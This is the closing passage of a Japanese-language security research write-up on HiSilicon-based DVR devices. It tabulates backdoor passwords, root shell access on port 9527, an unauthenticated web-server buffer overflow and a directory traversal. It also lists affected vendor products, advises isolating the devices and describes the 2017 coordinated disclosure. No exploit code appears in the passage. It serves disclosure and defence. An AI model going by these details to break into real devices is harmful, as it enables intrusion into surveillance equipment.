|ハードコードされた(バックドア)telnetパスワード |高 |23/tcp |以前は他者による
|telnetインターフェースにアクセスできるすべての人が、ユーザーが適切なパスワード
を設定しているにもかかわらず、デバイスを完全に制御できる
|任意のアプリケーションアカウントによるrootシェルアクセス |高 |9527/tcp |作者による
|何らかのアプリケーションアカウントを持ち、サービスコンソールにアクセスできる
すべての人が、特権を昇格させてデバイスを完全に(シェルで)
制御できる
|*バックドアアプリケーションパスワード* |重大 |80/tcp, 554/tcp |作者による
|デバイスを保護するためにユーザーが強力なパスワードを設定しているにもかか
わらず、誰でもアプリケーション管理者としてデバイスにアクセスできる
|*内蔵ウェブサーバーのバッファオーバーフロー* |重大 |80/tcp |作者による
|バッファオーバーフローを悪用することで、攻撃者はデバイス上で(認証不要で)
rootによるリモートコード実行を獲得し、バックドアやマルウェア、その他の悪意の
あるプログラムをインストールできる
|ディレクトリトラバーサル |高 |80/tcp |以前は他者(?)による、および作者による
|デバイス上のすべて(例:録画ストリーム)への不正な読み取りアクセスが可能に
なり、バッファオーバーフローの悪用にも役立つ
|=======================================================================
これら深刻な脆弱性の影響を受けるのがこの「Seculink」ブランドのデバイスだけだと思っているなら、それは間違いだ。影響を受けるデバイスの範囲は非常に広い。この種のHiSilicon SoCハードウェアで構築されたすべてのデバイスが脆弱である。これらのデバイスは「Sofia」と呼ばれるこのバイナリアプリケーションと(ほぼ)同じファームウェアを共有している。上記の脆弱性(フル機能のスクリプトでさえ)は、多くの異なるハードウェア上で修正なしにほぼ確実に動作する。
影響を受けるブランドの(完全ではない)リストは次のとおり:
image::./brands_affected.png[影響を受けるブランド]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
一般に、こうした安価なIoTデバイスはセキュリティ上の悪夢であると言える。作者が最近テストしたすべてのデバイスには、何らかの深刻または重大な脆弱性があった。ペネトレーションテスターの視点から見た推奨事項は、こうした種類のデバイスは適切に分離しなければならず、重要で機密性の高いデータと同じネットワークを共有してはならないということだ。残念ながら、そのようなファームウェアに対してパッチを含むアップデートを入手できる現実的な可能性はない。
最後に、このバッファオーバーフローの脆弱性(エクスプロイトPoCコードを含む)が、https://www.beyondsecurity.com/[Beyond Security] の https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure](SSD)プログラムを通じて開示されたことを伝えることが重要である。ベンダー(HiSilicon)には2016年末に(Beyond Securityから)通知が行われたが、脆弱性が一般公開されるまでに返答はなかった(残念ながら、これはよくあることである)。
2017年2月に公開された開示情報は https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[こちら] で入手できる。
*更新(2023-01-01):* この研究は、https://vulncheck.com/[VulnCheck](2022-11-30付)により、https://twitter.com/Junior_Baines[Jacob Baines] によるXiongmaiデバイス攻略に関するこの記事で言及されている: https://vulncheck.com/blog/xiongmai-iot-exploitation